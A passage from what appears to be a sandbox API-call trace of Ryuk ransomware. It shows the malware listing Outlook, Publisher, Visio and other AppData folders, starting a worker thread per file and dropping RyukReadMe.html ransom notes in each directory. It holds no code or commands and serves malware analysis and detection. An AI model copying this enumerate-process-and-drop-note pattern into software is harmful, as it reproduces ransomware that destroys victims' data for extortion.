	[0262.175] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc8cc40, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3dc8cc40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3dc8cc40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x1de, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1
	[0262.175] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0262.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750
	[0262.180] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.181] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c4d2d00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4d2d00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4d2d00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Outlook.sharing.xml.obi", cAlternateFileName="OUTLOO~1.OBI")) returned 1
	[0262.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0262.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710
	[0262.183] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.184] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 1
	[0262.184] SetLastError (dwErrCode=0x0) 
	[0262.184] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720
	[0262.188] GetLastError () returned 0x0
	[0262.188] WriteFile (in: hFile=0x720, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0262.190] CloseHandle (hObject=0x720) returned 1
	[0262.190] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0262.191] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.191] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0262.191] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0262.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c
	[0262.194] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.194] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x60a26dc0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0262.194] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0262.194] SetLastError (dwErrCode=0x0) 
	[0262.194] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\roamcache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720
	[0262.197] GetLastError () returned 0x0
	[0262.197] WriteFile (in: hFile=0x720, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0262.199] CloseHandle (hObject=0x720) returned 1
	[0262.199] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 0
	[0262.199] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0262.199] SetLastError (dwErrCode=0x0) 
	[0262.199] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\outlook\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.200] GetLastError () returned 0xb7
	[0262.200] CloseHandle (hObject=0x6f8) returned 1
	[0262.200] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0262.200] SetLastError (dwErrCode=0x0) 
	[0262.200] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.200] GetLastError () returned 0xb7
	[0262.200] CloseHandle (hObject=0x6f8) returned 1
	[0262.200] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0262.201] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.201] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0262.201] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0262.201] SetLastError (dwErrCode=0x0) 
	[0262.201] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\publisher\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.202] GetLastError () returned 0x0
	[0262.202] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0262.204] CloseHandle (hObject=0x6f8) returned 1
	[0262.204] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x776b9a20, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x776b9a20, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776b9a20, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0262.204] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1
	[0262.204] SetLastError (dwErrCode=0x0) 
	[0262.204] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.204] GetLastError () returned 0xb7
	[0262.204] CloseHandle (hObject=0x6f8) returned 1
	[0262.204] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0262.205] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.205] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0262.205] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0262.206] SetLastError (dwErrCode=0x0) 
	[0262.206] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\taskschedulerconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.206] GetLastError () returned 0x0
	[0262.206] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0262.208] CloseHandle (hObject=0x6f8) returned 1
	[0262.208] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1
	[0262.208] SetLastError (dwErrCode=0x0) 
	[0262.208] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.209] GetLastError () returned 0xb7
	[0262.209] CloseHandle (hObject=0x6f8) returned 1
	[0262.209] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0262.209] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.209] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5efe55e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18ce0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="content14.dat", cAlternateFileName="CONTEN~1.DAT")) returned 1
	[0262.209] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0262.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720
	[0262.453] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.454] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x78c4c180, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1f522, dwReserved0=0x1de, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 1
	[0262.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0262.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744
	[0262.460] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.461] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x78c4c180, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1f522, dwReserved0=0x1de, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 0
	[0262.461] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0262.461] SetLastError (dwErrCode=0x0) 
	[0262.461] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.462] GetLastError () returned 0x0
	[0262.462] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0262.464] CloseHandle (hObject=0x6f8) returned 1
	[0262.464] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0262.464] SetLastError (dwErrCode=0x0) 
	[0262.464] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0262.464] GetLastError () returned 0xb7
	[0262.464] CloseHandle (hObject=0x6f8) returned 1
	[0262.465] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
